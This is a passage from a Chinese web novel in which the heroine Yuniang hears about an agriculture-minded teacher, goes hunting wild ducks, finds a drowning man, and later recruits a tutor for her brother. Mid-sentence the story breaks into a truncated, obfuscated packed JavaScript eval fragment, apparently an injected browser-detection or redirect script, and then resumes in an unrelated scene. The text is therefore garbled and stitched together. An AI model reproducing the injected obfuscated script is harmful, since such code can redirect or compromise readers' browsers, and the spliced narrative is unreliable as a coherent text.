所以,渔娘只是感叹罢了,没有见一个人就帮一个。 她就算有那个心,也帮不过来。 人活一世,终究只能靠自己。 19. 第 19 章 文会开了一日,回到张家,贺文嘉跑去找渔娘。 渔娘笑问:“你们今日如何,那些大儒厉不厉害?” “有厉害的,也有那等照着书念叨,没一句话是他自己的。” 贺文嘉对那些所谓的’读书人’不感兴趣,他兴奋道:“我今天认识了一个厉害的先生,读书厉害,种地也厉害。你猜怎么着,那人还是叙州府府学的先生。” 刚进门的孙浔惊讶道:“哦,叙州府府学竟然有教种地的先生?”孙浔今天一整日都同张砚在一块儿,没跟叙州府府学的人聊过。 王苍和贺文嘉上午跟在孙浔身边,下午贺文嘉就跑了,只剩下王苍了。 王苍撩开袍子坐下,顺口笑道:“先生,您听他胡说,府学里的先生都是正经读书人,学的都是四书五经,就算再杂学旁收,也就是些君子六艺,哪有学种地的。” 渔娘好奇,问贺文嘉:“你说的是谁,说出来听听,说不定咱们先生认识呢。” “姓许,叫许耕,在叙州府府学主教《周易》,辅教算学。先生认不认识?” 许耕,姓许,还会种地,孙浔不认识,但是听说过。 孙浔:“他是叙州本地人?还是外地来的?若是外地,祖籍是否是南阳?” 听得先生一连串询问,渔娘突然激动起来:“是不是南阳许家,农家子,许家先辈写过许多农书,前朝有个叫许农,号南阳耕农的许家人写了一本《中原农耕术》?” 贺文嘉摇摇头:“人家没说,我哪里知道。不过你从哪里知道这一长串的?” “这要多谢芸娘送我的《中原农耕术》这本书,要不然我上哪儿知道去。” 王苍笑道:“也不是姓许会种地的,就是南阳许家人,或是认错了。” “有没有认错,回头问问就知道了。”渔娘跟贺文嘉说:“你就告诉他,我手中有《中原农耕术》,问他想不想抄一本去。” “你这话说的,若是他真是许家人,人家家里会缺这本书?” “哼,万一人家战乱时遗失了呢?” 听两个弟子吵来吵去,孙浔喝完了两盏茶才道:“二郎,你如何跟许耕说到种地的?” “咳,这不话赶话就说到了嘛。” 贺文嘉无事干找人闲聊嘛,人生地不熟,他自然想找熟悉的人说话,这不就找到叙州府府学的学子们那儿去了。 闲聊时,府学的学子们知道他是今年的廪生,就说他该去考府学,府学里的先生厉害,藏书也多。 说到藏书,贺文嘉就说到梅家的书楼,藏的都是农书、工书、游记等书。 许耕听到农书二字就搭话进来,跟贺文嘉这个只会纸上谈兵嘴上种田的聊得热火朝天。 贺文嘉虽自己没下地干过活,但是种田怎么回事他还是明白的,且常跟渔娘一起读书,一亩什么田地,种什么,大概产多少粮食,新粮旧粮价格几何,他都能说得上话。 本来是一大群人聊,随着许耕提问的深入,聊着聊着,只有贺文嘉跟得上他的思路,回答得上他的问题。 当时,许耕就夸贺文嘉,骂旁边的几个府学学子只知道读死书,就算以后考中举人当官,也是个昏官。 跟许耕聊天的内容一笔带过,说到许耕夸自己的话,贺文嘉那叫一个逐字逐句复述清楚,连语气都复述出来了,可见贺文嘉被夸得多舒坦。 孙浔也夸道:“不错,知道民生疾苦,你以后无论是做官还是守着家业,都不会差。” “嘿嘿,多谢先生夸奖。” 王苍笑了笑,把先生这句话听进去了。 “渔娘,你今天干什么了?” “没干什么,就凑热闹去了,府学街逛了一圈,去酒楼用的午食,下午去码头看了看。” “你这一天过得有意思得很嘛。” “哈哈,还行吧。我听码头上的小孩儿说,顺着嘉宁江东边行船半个时辰,那边有一片非常大的野鸭滩,水泽里的芦苇水草枯了,野鸭子藏不住,划船去那边抓野鸭子可好玩了,说不定还能捡到鸭蛋。” 贺文嘉不信:“若是真有野鸭子,早就被抓光了,哪里还轮得上你。” “反正我明儿闲着无事,我瞧瞧去。” “不行,你再等几日,等府学的文会忙完了我们一块儿去。”贺文嘉也想去玩。 渔娘轻哼一声,才不等他呢。 贺文嘉还想歪缠,可惜张家的下人来请他们去前厅用饭,当着张家下人的面贺文嘉还是要脸的,悻悻地闭嘴了。 渔娘拿着绣帕捂住嘴笑,用了晚食后也给他说话的机会,告退后就回自己住的屋子了。 隔日,王苍和贺文嘉两人一早跟着先生去府学文会,等他们走了后,渔娘穿的暖暖的,带着人去码头租了条船,带着丫头仆从出发去野鸭滩。 今日准备得妥当,披风、暖手炉都不缺,还戴了一顶雪白的兔毛镶七彩珠链的帽子,那真是从头到脚暖呼呼的。 船到了野鸭滩,渔娘学着船娘,拿着一根两三米长的细竹竿在干枯的芦苇丛中敲敲打打,鸭蛋没捡到,偶然惊起了几声野鸭叫。 渔娘惊喜道:“哎,真有野鸭!” 船娘笑道:“野鸭滩里原本没有鸭子,后来呀,有一年江里涨大水,江边两岸村落里,有些百姓家里养的鸭子顺着山水从小河沟里游了出来,跑进这片芦苇荡里,再也抓不到了。” “家鸭变成了野鸭,在这片芦苇荡里繁衍生息,就越来越多了,运气好抓到一只,也能给肚子里补充补充油水,来抓野鸭子的人多了,这片野鸭滩就有了名声。” 船娘陪着说些有趣的小故事,船夫把船往鸭子叫唤的地方划,鸭子叫声不停,渔娘皱起了眉头,总感觉有些不对。 船绕过一片芦苇,鸭子嘎嘎嘎的叫声还没停,更来的护卫听到落水声,顿时大叫:“主子,有人落水了。” “哎呀,快划过去瞧瞧,这么冷的天若是落水了,只怕冻死在水里。” “救命!” 前头一片芦苇丛里,一个人在水里沉沉浮浮,他试图抓住旁边的芦苇秆,一把芦苇秆哪里支撑得起一个青年男人的体重,于是又沉了下去。 “主子小心。” 两个丫头护着渔娘,渔娘忙吩咐护卫:“看如何把人拉上来。” “有法子,给!” 船夫赶紧把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔氏愣了下,立刻赌咒发誓:“贵人只管说,老妇人没有不答应的。” 渔娘笑眯眯道:“不用如此紧张,我也不用你们如何。我家有个弟弟,需要一个给他开蒙的教书先生,你们若是想报恩,不如跟我回家,教我弟弟读两年书吧。” 温子乔还未说话,乔氏一口答应:“贵人家在何处,我叫我家大郎今日就去贵人家。” “我家在叙州府南溪县。”渔娘看向温子乔:“你若是想报恩,得离开保宁府,随我去南溪县。” 温子乔犹豫了片刻,这才拱手,低头道:“小子答应,多谢贵人善心。” 善心吗?或许有一些。 在渔娘心里,温子乔这人尚且值得培养。 温子乔这种学识不错,只要教育资源给足,顶多三十来岁就能中进士当官,前程定然比罗县令、张通判他们这样的寒门子弟强。 梅家人丁单薄,她弟弟年纪又还小,等温子乔出头时,她弟弟正是读书考科举的关键时候,正好可为梅家所用。